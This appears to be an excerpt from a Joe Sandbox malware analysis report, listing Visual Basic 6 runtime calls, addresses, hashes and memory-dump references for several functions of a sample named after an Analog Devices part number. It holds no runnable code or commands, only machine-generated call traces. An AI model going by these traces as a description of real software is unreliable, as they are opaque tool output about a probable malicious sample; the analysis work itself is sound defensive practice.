__vbaSetSystemError.MSVBVM60(?,?,00000000), ref: 00423450
__vbaRedim.MSVBVM60(00000180,00000004,?,00000008,00000002,00000003,00000000,?,00000000,?,00000000), ref: 00423478
__vbaI2I4.MSVBVM60 ref: 0042348C
__vbaI2I4.MSVBVM60 ref: 004234BF
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004098D4,00000284), ref: 0042354C
__vbaI2I4.MSVBVM60(?,?), ref: 00423574
__vbaI2I4.MSVBVM60(?,?), ref: 00423592
__vbaI2I4.MSVBVM60(?,?), ref: 004235B0
#537.MSVBVM60(00000000,?), ref: 004235F6
__vbaStrMove.MSVBVM60 ref: 00423600
__vbaStrCat.MSVBVM60(00000000), ref: 00423603
__vbaStrMove.MSVBVM60 ref: 0042360D
#537.MSVBVM60(00000000,00000000), ref: 00423612
__vbaStrMove.MSVBVM60 ref: 0042361C
__vbaStrCat.MSVBVM60(00000000), ref: 0042361F
__vbaStrMove.MSVBVM60 ref: 00423629
#537.MSVBVM60(00000000,00000000), ref: 0042362E
__vbaStrMove.MSVBVM60 ref: 00423638
__vbaStrCat.MSVBVM60(00000000), ref: 0042363B
__vbaStrMove.MSVBVM60 ref: 00423645
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 0042366C
#537.MSVBVM60(?,?), ref: 00423695
__vbaStrMove.MSVBVM60 ref: 0042369F
__vbaStrCat.MSVBVM60(00000000), ref: 004236A2
__vbaStrMove.MSVBVM60 ref: 004236AC
#537.MSVBVM60(?,00000000), ref: 004236B7
__vbaStrMove.MSVBVM60 ref: 004236C1
__vbaStrCat.MSVBVM60(00000000), ref: 004236C4
__vbaStrMove.MSVBVM60 ref: 004236CE
#537.MSVBVM60(?,00000000), ref: 004236D9
__vbaStrMove.MSVBVM60 ref: 004236E3
__vbaStrCat.MSVBVM60(00000000), ref: 004236E6
__vbaStrMove.MSVBVM60 ref: 004236F0
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 00423717
__vbaI2I4.MSVBVM60 ref: 00423774
__vbaGenerateBoundsError.MSVBVM60 ref: 004237C7
__vbaGenerateBoundsError.MSVBVM60 ref: 004237DF
__vbaGenerateBoundsError.MSVBVM60 ref: 004237FF
__vbaStrCopy.MSVBVM60 ref: 00423812
__vbaI2I4.MSVBVM60 ref: 00423856
__vbaI2I4.MSVBVM60 ref: 00423888
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004098D4,00000284), ref: 0042390C
__vbaGenerateBoundsError.MSVBVM60 ref: 00423950
_adj_fdiv_m64.MSVBVM60 ref: 00423985
__vbaR8IntI4.MSVBVM60 ref: 00423994
__vbaGenerateBoundsError.MSVBVM60 ref: 004239A7
__vbaGenerateBoundsError.MSVBVM60 ref: 004239CD
__vbaStrCmp.MSVBVM60(0040A0E4,00000000), ref: 004239DE
__vbaGenerateBoundsError.MSVBVM60 ref: 00423A15
_adj_fdiv_m64.MSVBVM60 ref: 00423A46
__vbaR8IntI4.MSVBVM60 ref: 00423A55
__vbaGenerateBoundsError.MSVBVM60 ref: 00423A68
__vbaGenerateBoundsError.MSVBVM60 ref: 00423A88
__vbaStrCopy.MSVBVM60 ref: 00423A97
__vbaGenerateBoundsError.MSVBVM60 ref: 00423AC6
_adj_fdiv_m64.MSVBVM60 ref: 00423AF7
__vbaR8IntI4.MSVBVM60 ref: 00423B06
__vbaGenerateBoundsError.MSVBVM60 ref: 00423B19
__vbaGenerateBoundsError.MSVBVM60 ref: 00423B39
__vbaGenerateBoundsError.MSVBVM60 ref: 00423B6A
_adj_fdiv_m64.MSVBVM60 ref: 00423B9F
__vbaR8IntI4.MSVBVM60 ref: 00423BAE
__vbaGenerateBoundsError.MSVBVM60 ref: 00423BC5
__vbaGenerateBoundsError.MSVBVM60 ref: 00423BF8
__vbaGenerateBoundsError.MSVBVM60 ref: 00423C40
_adj_fdiv_m64.MSVBVM60 ref: 00423C75
__vbaR8IntI4.MSVBVM60 ref: 00423C84
__vbaGenerateBoundsError.MSVBVM60 ref: 00423C97
__vbaGenerateBoundsError.MSVBVM60 ref: 00423CBD
__vbaStrCmp.MSVBVM60(0040A0E4,00000000), ref: 00423CCE
__vbaGenerateBoundsError.MSVBVM60 ref: 00423D05
_adj_fdiv_m64.MSVBVM60 ref: 00423D36
__vbaR8IntI4.MSVBVM60 ref: 00423D45
__vbaGenerateBoundsError.MSVBVM60 ref: 00423D58
__vbaGenerateBoundsError.MSVBVM60 ref: 00423D78
__vbaStrCopy.MSVBVM60 ref: 00423D87
__vbaGenerateBoundsError.MSVBVM60 ref: 00423DB6
_adj_fdiv_m64.MSVBVM60 ref: 00423DE7
__vbaR8IntI4.MSVBVM60 ref: 00423DF6
__vbaGenerateBoundsError.MSVBVM60 ref: 00423E09
__vbaGenerateBoundsError.MSVBVM60 ref: 00423E29
__vbaGenerateBoundsError.MSVBVM60 ref: 00423E5A
_adj_fdiv_m64.MSVBVM60 ref: 00423E8F
__vbaR8IntI4.MSVBVM60 ref: 00423E9E
__vbaGenerateBoundsError.MSVBVM60 ref: 00423EB5
__vbaGenerateBoundsError.MSVBVM60 ref: 00423ED3
__vbaStrCat.MSVBVM60(0040886C,00000000), ref: 00423EF0
__vbaStrMove.MSVBVM60 ref: 00423EFA
__vbaStrCopy.MSVBVM60 ref: 00423F06
__vbaFreeStr.MSVBVM60 ref: 00423F12
__vbaI2I4.MSVBVM60 ref: 00423F6A
__vbaGenerateBoundsError.MSVBVM60 ref: 00423FB9
__vbaGenerateBoundsError.MSVBVM60 ref: 00423FD1
__vbaGenerateBoundsError.MSVBVM60 ref: 00423FED
__vbaStrCmp.MSVBVM60(0040A0E4,00000000), ref: 00424002
__vbaGenerateBoundsError.MSVBVM60 ref: 00424035
__vbaGenerateBoundsError.MSVBVM60 ref: 0042404D
__vbaGenerateBoundsError.MSVBVM60 ref: 00424069
#537.MSVBVM60(?,?), ref: 00424089
__vbaStrMove.MSVBVM60(?,?), ref: 00424097
__vbaStrCat.MSVBVM60(00000000,?,?), ref: 0042409A
__vbaStrMove.MSVBVM60(?,?), ref: 004240A4
__vbaFreeStr.MSVBVM60(?,?), ref: 004240AC
__vbaStrCat.MSVBVM60(?,?), ref: 00424100
__vbaStrMove.MSVBVM60 ref: 0042410A
#537.MSVBVM60(00000000), ref: 0042410E
_adj_fdiv_m64.MSVBVM60(00000008,?), ref: 00424187
__vbaLenBstr.MSVBVM60(?,00000008,?), ref: 004241B2
__vbaFpI4.MSVBVM60(?,00000008,?), ref: 004241E0
#606.MSVBVM60(00000000,?,00000008,?), ref: 004241ED
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004241F7
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004241FA
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424204
__vbaFreeStr.MSVBVM60(?,00000008,?), ref: 0042420C
__vbaFreeVar.MSVBVM60(?,00000008,?), ref: 00424218
#537.MSVBVM60(00000000,?,00000008,?), ref: 0042422A
#537.MSVBVM60(00000000,?,00000008,?), ref: 00424242
#537.MSVBVM60(00000000,?,00000008,?), ref: 0042425A
#537.MSVBVM60(00000000,?,00000008,?), ref: 00424272
#537.MSVBVM60(00000000,?,00000008,?), ref: 0042428A
#537.MSVBVM60(00000000,?,00000008,?), ref: 004242A2
#537.MSVBVM60(00000000,?,00000008,?), ref: 004242BA
#537.MSVBVM60(00000000,?,00000008,?), ref: 004242D2
#537.MSVBVM60(00000000,?,00000008,?), ref: 004242EA
#606.MSVBVM60(00000002,00000008,?,00000008,?), ref: 00424309
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424313
#537.MSVBVM60(00000001,00000000,?,00000008,?), ref: 00424318
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424326
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00424329
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424333
#537.MSVBVM60(00000000,00000000,?,00000008,?), ref: 00424338
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424346
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00424349
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424353
#537.MSVBVM60(00000001,00000000,?,00000008,?), ref: 00424358
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424366
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00424369
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424373
#537.MSVBVM60(00000000,00000000,?,00000008,?), ref: 00424378
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424386
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00424389
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424393
#537.MSVBVM60(00000010,00000000,?,00000008,?), ref: 00424398
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004243A6
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004243A9
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004243B3
#537.MSVBVM60(00000010,00000000,?,00000008,?), ref: 004243B8
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004243C6
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004243C9
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004243D3
#606.MSVBVM60(00000006,00000008,00000000,?,00000008,?), ref: 004243DF
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004243E9
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004243EC
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004243F6
#581.MSVBVM60(&H68,00000000,?,00000008,?), ref: 004243FE
__vbaFpI4.MSVBVM60(?,00000008,?), ref: 00424404
#537.MSVBVM60(00000000,?,00000008,?), ref: 0042440B
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424419
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 0042441C
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424426
#537.MSVBVM60(00000003,00000000,?,00000008,?), ref: 0042442B
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424439
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 0042443C
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424446
#606.MSVBVM60(00000002,00000008,00000000,?,00000008,?), ref: 00424452
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0042445C
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 0042445F
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424469
#537.MSVBVM60(00000016,00000000,?,00000008,?), ref: 0042446E
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0042447C
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 0042447F
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424489
#606.MSVBVM60(00000003,00000008,00000000,?,00000008,?), ref: 00424495
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0042449F
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004244A2
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004244AC
#537.MSVBVM60(00000028,00000000,?,00000008,?), ref: 004244B1
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004244BF
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004244C2
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004244CC
#606.MSVBVM60(00000003,00000008,00000000,?,00000008,?), ref: 004244D8
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004244E2
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004244E5
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004244EF
#537.MSVBVM60(00000010,00000000,?,00000008,?), ref: 004244F4
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424502
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00424505
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0042450F
#606.MSVBVM60(00000003,00000008,00000000,?,00000008,?), ref: 0042451B
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424525
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00424528
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424532
#537.MSVBVM60(00000020,00000000,?,00000008,?), ref: 00424537
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424545
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00424548
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424552
#606.MSVBVM60(00000003,00000008,00000000,?,00000008,?), ref: 0042455E
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424568
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 0042456B
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424575
#537.MSVBVM60(00000001,00000000,?,00000008,?), ref: 0042457A
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424588
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 0042458B
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424595
#537.MSVBVM60(00000000,00000000,?,00000008,?), ref: 0042459A
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004245A8
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004245AB
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004245B5
#537.MSVBVM60(00000018,00000000,?,00000008,?), ref: 004245BA
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004245C8
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004245CB
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004245D5
#606.MSVBVM60(00000005,00000008,00000000,?,00000008,?), ref: 004245E1
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004245EB
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 004245EE
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 004245F8
#537.MSVBVM60(00000040,00000000,?,00000008,?), ref: 004245FD
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0042460B
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 0042460E
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424618
#537.MSVBVM60(00000003,00000000,?,00000008,?), ref: 0042461D
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0042462B
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 0042462E
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 00424638
#606.MSVBVM60(00000012,00000008,00000000,?,00000008,?), ref: 00424644
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0042464E
__vbaStrCat.MSVBVM60(00000000,?,00000008,?), ref: 00424651
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0042465B
__vbaStrCat.MSVBVM60(?,00000000,?,00000008,?), ref: 00424665
__vbaStrMove.MSVBVM60(?,00000008,?), ref: 0042466F
__vbaFreeStrList.MSVBVM60(00000033,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004247D8
__vbaFreeVarList.MSVBVM60(00000009,00000008,00000008,00000008,00000008,00000008,00000008,00000008,00000008,00000008,?,00000008,?), ref: 0042481F
#648.MSVBVM60(0000000A), ref: 00424E2A
__vbaFreeVar.MSVBVM60 ref: 00424E3C
__vbaI2I4.MSVBVM60(?), ref: 00424E4E
__vbaFileOpen.MSVBVM60(00000220,000000FF,00000000), ref: 00424E58
__vbaI2I4.MSVBVM60 ref: 00424E60
__vbaPut3.MSVBVM60(00000000,?,00000000), ref: 00424E6C
__vbaI2I4.MSVBVM60 ref: 00424E74
__vbaFileClose.MSVBVM60(00000000), ref: 00424E77
__vbaExitProc.MSVBVM60 ref: 00424E87
__vbaAryDestruct.MSVBVM60(00000000,?,004250AB,?,00000000), ref: 00425084
__vbaFreeStr.MSVBVM60(?,00000000), ref: 00425093
__vbaFreeStr.MSVBVM60(?,00000000), ref: 00425098
__vbaFreeStr.MSVBVM60(?,00000000), ref: 004250A0
__vbaFreeStr.MSVBVM60(?,00000000), ref: 004250A8
__vbaErrorOverflow.MSVBVM60(?,00000000), ref: 004250CA

Strings

x.@, xrefs: 00423282, 004232D7, 004238A9, 004234E5
&HA8, xrefs: 00424A0B
&H68, xrefs: 004243F9
, xrefs: 00424830

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$Error$#537$BoundsGenerate$Free$#606CheckHresult$_adj_fdiv_m64$AnsiCopy$ListSystem$File$#581#648BstrCloseDestructExitOpenOverflowProcPut3RedimUnicode
String ID: $&H68$&HA8$x.@
API String ID: 3305104701-3742186716
Opcode ID: 37f84d4a9c39c7a1c50757bcf0e40db309af58f8b6e847605082b1ec1b3a9c81
Instruction ID: 7b234b66774b24242b66e43e3622a6720749bc198b4922623ead5fbfde0b20dd
Opcode Fuzzy Hash: 37f84d4a9c39c7a1c50757bcf0e40db309af58f8b6e847605082b1ec1b3a9c81
Instruction Fuzzy Hash: E013FA71E002289BCB25DF65DD84ADABBB9FF48301F5081EAE10AA6250DF745F85CF64

Function 0041F830 Relevance: 90.6, APIs: 60, Instructions: 579COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(00000000,6D04D8B1,6D04DF85), ref: 0041F894
__vbaAryConstruct2.MSVBVM60(?,0040A070,00000011), ref: 0041F8A1
__vbaOnError.MSVBVM60(00000001), ref: 0041F8A9
__vbaUbound.MSVBVM60(00000001), ref: 0041F8B7
#648.MSVBVM60(0000000A), ref: 0041F8DB
__vbaFreeVar.MSVBVM60 ref: 0041F8ED
__vbaFileOpen.MSVBVM60(00000220,000000FF,00000000,?), ref: 0041F906
__vbaStrCopy.MSVBVM60 ref: 0041F914

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?), ref: 0041F92A

Part of subcall function 00411210: #594.MSVBVM60(?,6D04D9F5,-00000001,6D04D8B1), ref: 0041127A
Part of subcall function 00411210: __vbaFreeVar.MSVBVM60 ref: 00411283
Part of subcall function 00411210: __vbaLenBstr.MSVBVM60 ref: 0041128F
Part of subcall function 00411210: #631.MSVBVM60(?,?,0000000A), ref: 004112C8
Part of subcall function 00411210: __vbaStrMove.MSVBVM60(?,?,0000000A), ref: 004112D3
Part of subcall function 00411210: #516.MSVBVM60(00000000,?,?,0000000A), ref: 004112DA
Part of subcall function 00411210: __vbaFreeStr.MSVBVM60(?,?,0000000A), ref: 004112E9
Part of subcall function 00411210: __vbaFreeVar.MSVBVM60(?,?,0000000A), ref: 004112F2

__vbaStrMove.MSVBVM60(?), ref: 0041F93A
__vbaPut3.MSVBVM60(00000000,?,00000000), ref: 0041F94F
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 0041F95F
__vbaPut3.MSVBVM60(00000004,?,00000000), ref: 0041F975
__vbaLenBstr.MSVBVM60(00405414), ref: 0041F97C
#648.MSVBVM60(0000000A), ref: 0041F9CC
__vbaFreeVar.MSVBVM60 ref: 0041F9DE
__vbaGenerateBoundsError.MSVBVM60 ref: 0041F9FB
__vbaGenerateBoundsError.MSVBVM60 ref: 0041FA0C
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 0041FA29
__vbaGenerateBoundsError.MSVBVM60 ref: 0041FA46
__vbaGenerateBoundsError.MSVBVM60 ref: 0041FA57
#709.MSVBVM60(00000000,00406544,000000FF,00000000), ref: 0041FA6E
__vbaGenerateBoundsError.MSVBVM60 ref: 0041FAA5
__vbaGenerateBoundsError.MSVBVM60 ref: 0041FABA
#631.MSVBVM60(00000000,?,0000000A), ref: 0041FAE5
__vbaStrMove.MSVBVM60(?,-00000001,0000000A), ref: 0041FAF2
__vbaFreeVar.MSVBVM60(?,-00000001,0000000A), ref: 0041FAFE
__vbaLenBstr.MSVBVM60(00000000), ref: 0041FB11
#570.MSVBVM60(00000000), ref: 0041FB1F
__vbaPut3.MSVBVM60(00000004,0042C250,00000000), ref: 0041FB3F
__vbaPut3.MSVBVM60(00000000,0042C254,00000000), ref: 0041FB50
__vbaPut3.MSVBVM60(00000004,0042C24C,00000000), ref: 0041FB60
__vbaLenBstr.MSVBVM60(00000000), ref: 0041FB69
__vbaUI1I2.MSVBVM60(?,-00000001,0000000A), ref: 0041FB8E
__vbaUI1I2.MSVBVM60(?,-00000001,0000000A), ref: 0041FB9D
__vbaGenerateBoundsError.MSVBVM60(?,-00000001,0000000A), ref: 0041FBC1
__vbaUI1I2.MSVBVM60(?,-00000001,0000000A), ref: 0041FBCC
__vbaGenerateBoundsError.MSVBVM60 ref: 0041FC36
__vbaGenerateBoundsError.MSVBVM60(00000FEE), ref: 0041FCEA
__vbaGenerateBoundsError.MSVBVM60(00000FEE), ref: 0041FCFB
__vbaGenerateBoundsError.MSVBVM60(00000FEE), ref: 0041FD43
__vbaUI1I2.MSVBVM60(00000FEE), ref: 0041FD55
__vbaGenerateBoundsError.MSVBVM60 ref: 0041FD76
__vbaUI1I2.MSVBVM60 ref: 0041FDAA
__vbaUI1I2.MSVBVM60 ref: 0041FDD8
__vbaGenerateBoundsError.MSVBVM60 ref: 0041FE02
__vbaUI1I2.MSVBVM60 ref: 0041FE41
__vbaUI1I2.MSVBVM60 ref: 0041FE4D
__vbaGenerateBoundsError.MSVBVM60(-00000001,00000FED,00000000), ref: 0041FEAB
__vbaGenerateBoundsError.MSVBVM60(00000000), ref: 0041FEE3
__vbaGenerateBoundsError.MSVBVM60 ref: 0041FFDF
__vbaFileClose.MSVBVM60(00000000), ref: 00420025
__vbaFileSeek.MSVBVM60(00000000,00000000), ref: 0042003A
__vbaPut3.MSVBVM60(00000004,0042C24C,00000000), ref: 0042004A
__vbaFileSeek.MSVBVM60(-0042C250,00000000), ref: 00420070
__vbaFileClose.MSVBVM60(00000000), ref: 00420095
__vbaExitProc.MSVBVM60 ref: 004200A2
__vbaFreeStr.MSVBVM60(00420142), ref: 00420123
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0042013B
__vbaErrorOverflow.MSVBVM60 ref: 00420159

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Error$BoundsGenerate$Free$FileMovePut3$Bstr$#631$#516$#648CloseCopyOpenSeek$#570#594#709Construct2DestructExitListOverflowProcUbound
String ID:
API String ID: 380034392-0
Opcode ID: db36c0f1733d6b656f6f0f21110ea2e54cb1fc60724d0d05d8831d20435b8e45
Instruction ID: 84537c48718631c5227d11dd853d148d1c88204475b6f264efbcfc593f9f6461
Opcode Fuzzy Hash: db36c0f1733d6b656f6f0f21110ea2e54cb1fc60724d0d05d8831d20435b8e45
Instruction Fuzzy Hash: 2332CE35A00255CFCB249FA4E8857EDBBB1FF48340F54417AE405A7362DB7898C6CBA9

Function 004172E5 Relevance: 67.9, APIs: 45, Instructions: 372COMMON

Download Yara Rule

APIs

__vbaLenBstr.MSVBVM60(00000000), ref: 004172EC
#631.MSVBVM60(00000000,-00000001,?), ref: 0041731F
__vbaFreeStr.MSVBVM60 ref: 00417340
__vbaFreeVar.MSVBVM60 ref: 00417349
#616.MSVBVM60(00000000,00000000), ref: 00417370
#631.MSVBVM60(00000000,-00000003,0000000A,00000000), ref: 00417399
#616.MSVBVM60(00000000,00000000), ref: 004173C9
#631.MSVBVM60(00000000,-00000002,0000000A,00000000), ref: 004173F1
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00417414
__vbaFreeVar.MSVBVM60 ref: 00417420
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D03A323,6D04D8B1,6D04D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$Free$Error$#631System$#616ListUnlock$BoundsBstrGenerate$CopyLockOverflow
String ID:
API String ID: 1595817071-0
Opcode ID: fb2a2bfa88c22efa9ac14300410e64a9e07382cf4d2ae5499a4c189e4441db04
Instruction ID: 643dac4b4df38dfcdabcb7d24b6f5cff0a220186fca35a0c0bc2019b66c0cc28
Opcode Fuzzy Hash: fb2a2bfa88c22efa9ac14300410e64a9e07382cf4d2ae5499a4c189e4441db04
Instruction Fuzzy Hash: 78E119B0E002189BDB14DFA5DD84AEEBBB9FF48300F50856EE50AE7250DB745986CF58

Function 0041725A Relevance: 58.8, APIs: 39, Instructions: 312COMMON

Download Yara Rule

APIs

__vbaLenBstr.MSVBVM60(00000000), ref: 00417261
#631.MSVBVM60(00000000,-00000001,?), ref: 00417294
__vbaFreeStr.MSVBVM60 ref: 004172B5
__vbaFreeVar.MSVBVM60 ref: 004172BE
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
